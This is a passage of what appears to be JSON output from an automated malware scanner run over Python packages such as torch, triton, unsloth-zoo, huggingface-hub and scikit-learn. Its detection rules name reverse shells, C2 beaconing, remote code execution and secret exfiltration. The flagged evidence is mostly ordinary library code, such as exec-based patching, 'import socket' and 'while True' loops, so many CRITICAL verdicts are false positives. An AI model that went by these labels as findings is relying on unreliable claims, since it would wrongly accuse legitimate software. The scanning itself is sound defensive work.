{chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5331: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5332: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5329: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5330: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5331: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1169: _modeling_file = eval(model_location) | L1658: f = eval(f\"{model_location}.{module}\") | L1988: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1989: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3414: exec(f\"import {parent}\", locals(), globals()) | L3545: dir(eval(parent)), | L3549: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L3623: module = eval(f\"modeling_file.{module}\") | L3650: inner_class = eval(f\"modeling_file.{inner_class}\") | L3780: exec(f\"from timm.layers.norm_act import {norm}\") | L3788: forward = eval(norm).forward | L3794: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3811: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3819: forward = eval(block).forward | L3825: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4059: exec(\nL4060: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4061: globals(),\nL4062: locals(),\nL4063: ) | L4065: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L4069: exec(\nL4070: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4071: globals(),\nL4072: locals(),\nL4073: ) | L4075: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L4152: source = eval(f\"{model_location}.torch\") | L4159: function = eval(f\"source.nn.{module}\") | L4336: exec(\"import transformers\", globals()) | L4349: exec(\nL4350: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL4351: ) | L4353: exec(\nL4354: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL4355: globals(),\nL4356: locals(),\nL4357: ) | L4589: source = eval(f\"modeling_file.{module}\") | L4603: source = eval(f\"modeling_file.{module}\") | L4704: source = eval(f\"modeling_file.{module}\") | L4742: source = eval(f\"{model_location}.{module}\") | L4822: source = eval(f\"{model_location}.{module}\") | L4870: source = eval(f\"{model_location}.{module}\") | L5092: source = eval(f\"{model_location}.{module}\") | L5103: exec(\nL5104: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL5105: globals(),\nL5106: ) | L5169: source = eval(f\"{model_location}.{module}\") | L5210: module_cls = eval(f\"{model_location}.{module}\") | L5247: module_cls = eval(f\"{model_location}.{module}\") | L5314: exec(\nL5315: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL5316: globals(),\nL5317: ) | L5379: exec(inner_training_loop, globals()) | L5387: function = eval(f\"{model_location}.{module}\") | L5465: function = eval(f\"{model_location}.{module}\") | L5603: exec(\nL5604: f\"{model_location}.{module} = combined_module.{module}\",\nL5605: globals(),\nL5606: locals(),\nL5607: ) | L5617: check_dicts = dir(eval(f\"{model_location}\")) | L5619: item = eval(f\"{model_location}.{check}\") | L5629: exec(\nL5630: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL5631: globals(),\nL5632: locals(),\nL5633: )", "evidence_hash": "bdfae4c24572c2a86fa6a2dede720ebb0723746963e43c2cd42701de5fc48fdb", "file_sha256": "f1f6751f710ca026f844ed377b267a998b9650279dab2404d944fab3723991ea" }, { "package": "triton", "file": "triton/_internal_testing.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L259: os.dup2(tmp_stderr.fileno(), 2) | L270: os.dup2(saved_stderr_fd, 2)", "evidence_hash": "c6336d0259890fa8501965b7a7c32cb9ceb47e7c0843d6bc6864d91bb2ed1f94" }, { "package": "triton", "file": "triton/_compile_warmup_pool.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L149: code = compile(jit_function.src, function.__name__, \"exec\")\nExec: L151: exec(code, namespace)", "evidence_hash": "d9e13c239c4646f892a7798344fb8ea897e8d2a11ae4d360b8d37fdaaf3807b7" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L1352: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1303: with httpx2.Client(timeout=30.0) as client: | L1317: with httpx2.Client(timeout=30.0) as client: | L1347: with httpx2.Client(timeout=30.0) as client: | L1548: client = httpx2.AsyncClient(\nL1549: timeout=httpx2.Timeout(60.0, read=None), trust_env=False\nL1550: ) | L1712: async with httpx2.AsyncClient(trust_env=False) as client: | L1780: with socket.socket(family, socket.SOCK_STREAM) as s:", "evidence_hash": "8859ed665647f12d65fc4920063b4617cec56c0c4dbab7a1b9e3cb922f095349" }, { "package": "fastmcp-slim", "file": "fastmcp/server/auth/providers/jwt.py", "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", "severity": "HIGH", "evidence": "Key: L197: \"-----BEGIN PUBLIC KEY-----\", | L198: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L236: http_client: httpx2.AsyncClient | None = None, | L462: else httpx2.AsyncClient(timeout=httpx2.Timeout(10.0))", "evidence_hash": "da378a5affa4d88bf7c81d625d5f82eed662cafa6e5d3d4c104bdb3d5369d664" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4342: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L155: mx.eval(model.parameters()) | L189: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L977: mx.eval(model.parameters()) | L978: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1044: mx.eval(model.parameters()) | L1047: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2384: mx.eval(altup.correct(predictions, activated)) | L3990: model.eval() | L4729: mx.eval(model.parameters()) | L4844: mx.eval(module.weight) | L7689: lambda: mx.eval(model.parameters()), | L7749: lambda: mx.eval(model.parameters()), | L7902: mx.eval(model.parameters())", "evidence_hash": "70a40c97be03c8b24e15abcd4911b42cd1b30bcb67cf345464c600d19aeb1f77" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L32: import socket sha256:17070ea71083fbe3d33db15aa6a95c2ae36c0a0994a0f896c079238c564a2a43", "evidence_hash": "a1f915a9c7673c762032033bbc7652e9da2805b653896e9bc6a262f063bbbdd7" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L32: import socket sha256:1fa741695d0462a7bcfc84fedf76a070a6501a264813d464e2bd14db86d4b15c", "evidence_hash": "f684586427de42c094d986b8112f0035935ce51b4103415299eefcaf6ae2ca59" }, { "package": "torch", "file": "torch/_precompile.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1570: exec(compile(python_code, \"\", \"exec\"), module_ns)\nExec: L967: # exec(open(\"this_file.py\").read(), ns) | L1174: # exec(open(\"this_file.py\").read(), ns) | L1570: exec(compile(python_code, \"\", \"exec\"), module_ns)", "evidence_hash": "ed7c7bfe07302200f8323e8f091a8f6ab06c9607410e31c4f036699fe7dee161", "file_sha256": "a8ab839be1e8b555c181a08a8c431185aaf67e8ac00e517590fc8092d0554e46" }, { "package": "torch", "file": "torch/_precompile.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2510: exec(compile(python_code, \"\", \"exec\"), module_ns)\nExec: L1424: # exec(open(\"this_file.py\").read(), ns) | L1688: # exec(open(\"this_file.py\").read(), ns) | L1787: # exec(open(\"this_file.py\").read(), ns) | L2510: exec(compile(python_code, \"\", \"exec\"), module_ns)", "evidence_hash": "405499840698c9eda88f885114134e478927525397c80a3ff92eca28fee03794", "file_sha256": "14b467496f627d973731c8ce3d680332b6d3a4ce4426abcad2b4e9c797dcdbc2" }, { "package": "torch", "file": "torch/_inductor/standalone_compile.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L687: exec(compile(python_code, \"\", \"exec\"), namespace)\nExec: L687: exec(compile(python_code, \"\", \"exec\"), namespace)", "evidence_hash": "b694818dd0f2e2fc2eb25389a21ce2426037aa1f7cc0284a8f4bf21dd86cded0", "file_sha256": "fe16758342f83ce0040a038648a371315bee8f3876f0da75a786562828cbb836" }, { "package": "torch", "file": "torch/_inductor/standalone_compile.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L688: exec(compile(python_code, \"\", \"exec\"), namespace)\nExec: L688: exec(compile(python_code, \"\", \"exec\"), namespace)", "evidence_hash": "b694818dd0f2e2fc2eb25389a21ce2426037aa1f7cc0284a8f4bf21dd86cded0", "file_sha256": "7cbf53b62fba291571a75425e892314346ec1cac15a60b7d0c3a0494b6d79e31" }, { "package": "torch", "file": "torch/_inductor/compile_worker/subproc_pool.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L860: time.sleep(3600)\nSubprocess: L212: self.process = subprocess.Popen( sha256:62f622e5b17b6c6b1656b44c8ba27274f02c68c4f9d35502fb593f1d6a3af55d", "evidence_hash": "f760ab1ce9c086051291c29ac4e486575db6f2dac2eddba2ac31ef5c434609d8", "file_sha256": "695b5c1df7d0ae710451aa8904c5ef101e0c93de26a591f3e995bb9151d4c0e3" }, { "package": "torch", "file": "torch/_inductor/compile_worker/subproc_pool.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", "evidence": "Anti: L1030: time.sleep(3600)\nSubprocess: L234: self.process = subprocess.Popen( sha256:62f622e5b17b6c6b1656b44c8ba27274f02c68c4f9d35502fb593f1d6a3af55d", "evidence_hash": "f760ab1ce9c086051291c29ac4e486575db6f2dac2eddba2ac31ef5c434609d8", "file_sha256": "5c95bd31af9266d201ebed9cc275a51948b682f6692af4513bbce99e59b2bea5" }, { "package": "torch", "file": "torch/_vendor/quack/epilogue/library.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L508: code = compile(src, f\"\", \"exec\")\nExec: L510: exec(code, ns)", "evidence_hash": "17ac8ee3c15bf16322a88265cb0302d8ef9b78b8839a67bb3d2021d477062188" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L461: while True: sha256:a8f95a987a45a8eb67ee78dd9d98674c7b88c97e7722f63dd446f77e3dcfe0e7", "evidence_hash": "20a717b5faac68b3a57b11859f90d21959c29302e413bf3cd36e1263ccfbb00b" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L4828: while True: sha256:1ce337753534aa45be81cf67dddfd1180290ee5b1835930cee09022741137ef2", "evidence_hash": "af1e941508b9439bb9baa2644fa142fffc38e4be8b5a8ca713e45bd91058ff8e" }, { "package": "huggingface-hub", "file": "huggingface_hub/_sandbox.py", "check": "openssl encryption + network/key material (encrypted exfiltration)", "severity": "CRITICAL", "evidence": "OpenSSL: L137: actual=$(openssl dgst -sha256 -r \"$d\" | cut -d' ' -f1)\nNetwork: L650: self._client = httpx2.Client(\nL651: headers={\"X-Sandbox-Token\": sandbox_token},\nL652: auth=_SandboxAuth(api),\nL653: limits=httpx2.Limits(max_connections=max_connections, max_keepalive_connections=max_connections),\nL654: \nL655: \nL656: \nL657: \nL658: follow_redirects=False,\nL659: )", "evidence_hash": "49365231ff611c1cd73306c8294803dc31018e697a59b66ee57f0c166c3c320b" }, { "package": "scikit-learn", "file": "sklearn/datasets/_openml.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L122: while True: sha256:8b044e656cc30b7456c66ef639158ba5712db35847626e17339ee55d16b2eb3f", "evidence_hash": "e7232e73f5faaeca3e5bd26f5096ddbf20ece6787c3c92ba9fc903f9a167621a", "file_sha256": "f70fbb46f8523a1eadf67bac45d5a0fb8ffae9762b43964cfb0db0729d76e543" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L12: __import__(__spec__.parent + '.linalg') | L13: __import__(__spec__.parent + '.fft')", "evidence_hash": "2602c1c446ee242b8222f1f7e0a2edbeb7d951ca7c734de66fd03f3a538fda59" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L16: __import__(__spec__.parent + '.linalg') | L17: __import__(__spec__.parent + '.fft')", "evidence_hash": "2602c1c446ee242b8222f1f7e0a2edbeb7d951ca7c734de66fd03f3a538fda59" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L22: __import__(__spec__.parent + \".linalg\") | L24: __import__(__spec__.parent + \".fft\")", "evidence_hash": "29ea7226545670c67c75aaf06bb2763a2b5199076ce62728fbe5c25b1bb08606" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L13: __import__(__spec__.parent + '.linalg') | L14: __import__(__spec__.parent + '.fft')", "evidence_hash": "2602c1c446ee242b8222f1f7e0a2edbeb7d951ca7c734de66fd03f3a538fda59" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1496: _mod = __import__(model_location, fromlist=items) | L5835: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5836: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5837: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5838: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5836: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5837: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5838: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5835: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5836: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5837: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1425: _modeling_file = eval(model_location) | L2131: f = eval(f\"{model_location}.{module}\") | L2461: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L2462: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3887: exec(f\"import {parent}\", locals(), globals()) | L4018: dir(eval(parent)), | L4022: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4096: module = eval(f\"modeling_file.{module}\") | L4123: inner_class = eval(f\"modeling_file.{inner_class}\") | L4253: exec(f\"from timm.layers.norm_act import {norm}\") | L4261: forward = eval(norm).forward | L4267: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L4284: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L4292: forward = eval(block).forward | L4298: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4532: exec(\nL4533: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4534: globals(),\nL4535: locals(),\nL4536: ) | L4538: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L4542: exec(\nL4543: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4544: globals(),\nL4545: locals(),\nL4546: ) | L4548: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L4625: source = eval(f\"{model_location}.torch\") | L4632: function = eval(f\"source.nn.{module}\") | L4826: exec(\"import transformers\", globals()) | L4839: exec(\nL4840: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL4841: ) | L4843: exec(\nL4844: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL4845: globals(),\nL4846: locals(),\nL4847: ) | L5081: source = eval(f\"modeling_file.{module}\") | L5095: source = eval(f\"modeling_file.{module}\") | L5196: source = eval(f\"modeling_file.{module}\") | L5234: source = eval(f\"{model_location}.{module}\") | L5314: source = eval(f\"{model_location}.{module}\") | L5362: source = eval(f\"{model_location}.{module}\") | L5598: source = eval(f\"{model_location}.{module}\") | L5609: exec(\nL5610: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL5611: globals(),\nL5612: ) | L5675: source = eval(f\"{model_location}.{module}\") | L5716: module_cls = eval(f\"{model_location}.{module}\") | L5753: module_cls = eval(f\"{model_location}.{module}\") | L5820: exec(\nL5821: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL5822: globals(),\nL5823: ) | L5885: exec(inner_training_loop, globals()) | L5893: function = eval(f\"{model_location}.{module}\") | L5974: function = eval(f\"{model_location}.{module}\") | L6115: exec(\nL6116: f\"{model_location}.{module} = combined_module.{module}\",\nL6117: globals(),\nL6118: locals(),\nL6119: ) | L6129: check_dicts = dir(eval(f\"{model_location}\")) | L6131: item = eval(f\"{model_location}.{check}\") | L6141: exec(\nL6142: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL6143: globals(),\nL6144: locals(),\nL6145: )", "evidence_hash": "bdfae4c24572c2a86fa6a2dede720ebb0723746963e43c2cd42701de5fc48fdb", "file_sha256": "5e14926abb64b32ca68139938e8b745c7a4d352324dd18c7a3d9a70eed56a15c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4662: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L157: mx.eval(model.parameters()) | L191: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1170: mx.eval(model.parameters()) | L1171: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1238: mx.eval(model.parameters()) | L1241: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2576: mx.eval(altup.correct(predictions, activated)) | L3017: mx.eval(baseline, perturbed) | L4310: model.eval() | L5049: mx.eval(model.parameters()) | L5164: mx.eval(module.weight) | L8557: lambda: mx.eval(model.parameters()), | L8617: lambda: mx.eval(model.parameters()), | L8770: mx.eval(model.parameters())", "evidence_hash": "cf9c8ed7bf9c33f83b6280d7d2d60b072262a04ce3e886a1f38c4003fbef01f4", "file_sha256": "d18e7eb087b09c360d02d6e274e92cca153768e8a8b61bc978e2a40f1981043d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1513: _mod = __import__(model_location, fromlist=items) | L5865: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5866: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5867: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5868: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5866: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5867: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5868: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5865: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5866: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5867: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1442: _modeling_file = eval(model_location) | L2148: f = eval(f\"{model_location}.{module}\") | L2478: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L2479: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3910: exec(f\"import {parent}\", locals(), globals()) | L4041: dir(eval(parent)), | L4045: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4119: module = eval(f\"modeling_file.{module}\") | L4146: inner_class = eval(f\"modeling_file.{inner_class}\") | L4276: exec(f\"from timm.layers.norm_act import {norm}\") | L4284: forward = eval(norm).forward | L4290: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L4307: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L4315: forward = eval(block).forward | L4321: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4561: exec(\nL4562: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4563: globals(),\nL4564: locals(),\nL4565: ) | L4567: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L4571: exec(\nL4572: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4573: globals(),\nL4574: locals(),\nL4575: ) | L4577: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L4654: source = eval(f\"{model_location}.torch\") | L4661: function = eval(f\"source.nn.{module}\") | L4855: exec(\"import transformers\", globals()) | L4868: exec(\nL4869: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL4870: ) | L4872: exec(\nL4873: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL4874: globals(),\nL4875: locals(),\nL4876: ) | L5110: source = eval(f\"modeling_file.{module}\") | L5124: source = eval(f\"modeling_file.{module}\") | L5225: source = eval(f\"modeling_file.{module}\") | L5263: source = eval(f\"{model_location}.{module}\") | L5343: source = eval(f\"{model_location}.{module}\") | L5391: source = eval(f\"{model_location}.{module}\") | L5628: source = eval(f\"{model_location}.{module}\") | L5639: exec(\nL5640: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL5641: globals(),\nL5642: ) | L5705: source = eval(f\"{model_location}.{module}\") | L5746: module_cls = eval(f\"{model_location}.{module}\") | L5783: module_cls = eval(f\"{model_location}.{module}\") | L5850: exec(\nL5851: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL5852: globals(),\nL5853: ) | L5915: exec(inner_training_loop, globals()) | L5924: function = eval(f\"{model_location}.{module}\") | L6011: function = eval(f\"{model_location}.{module}\") | L6165: exec(\nL6166: f\"{model_location}.{module} = combined_module.{module}\",\nL6167: globals(),\nL6168: locals(),\nL6169: ) | L6179: check_dicts = dir(eval(f\"{model_location}\")) | L6181: item = eval(f\"{model_location}.{check}\") | L6191: exec(\nL6192: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL6193: globals(),\nL6194: locals(),\nL6195: )", "evidence_hash": "bdfae4c24572c2a86fa6a2dede720ebb0723746963e43c2cd42701de5fc48fdb", "file_sha256": "47da60730becd8e548e9d486812cf0491ee92256f65109ebfef7e8b5412fa7e6" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/saving_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4256: module = __import__(\"transformers\", fromlist = [model_class_name]) | L4280: module = __import__('transformers', fromlist=[model_class_name])\nExec: L4111: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L4157: exec(save_pretrained, globals(), functions)", "evidence_hash": "2ab08222867e458035a053336fa2efcee824befc382e47eef02b5b78fe08c115" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/saving_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L6817: module = __import__(\"transformers\", fromlist = [model_class_name])\nExec: L6671: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L6718: exec(save_pretrained, globals(), functions)", "evidence_hash": "4b1673f4357c2edb880978ac0969d0127f9babcd46e0bb84cc8ff4ac9e9b8df0" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4855: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L158: mx.eval(model.parameters()) | L192: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1254: mx.eval(model.parameters()) | L1255: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1322: mx.eval(model.parameters()) | L1325: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2711: mx.eval(altup.correct(predictions, activated)) | L3210: mx.eval(baseline, perturbed) | L4503: model.eval() | L5242: mx.eval(model.parameters()) | L5357: mx.eval(module.weight) | L8769: lambda: mx.eval(model.parameters()), | L8829: lambda: mx.eval(model.parameters()), | L8985: mx.eval(model.parameters())", "evidence_hash": "cf9c8ed7bf9c33f83b6280d7d2d60b072262a04ce3e886a1f38c4003fbef01f4", "file_sha256": "7a69b550899a2d782bb460e3d882a0840b1e2f8e7b50f43d6a9468ae808aad59" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L151: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L109: from urllib.request import url2pathname | L478: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "2fc55291dde4fde95a86b3386e6608db4d990af6d239471a3e46830798b714b3" }, { "package": "unsloth-zoo", "file": 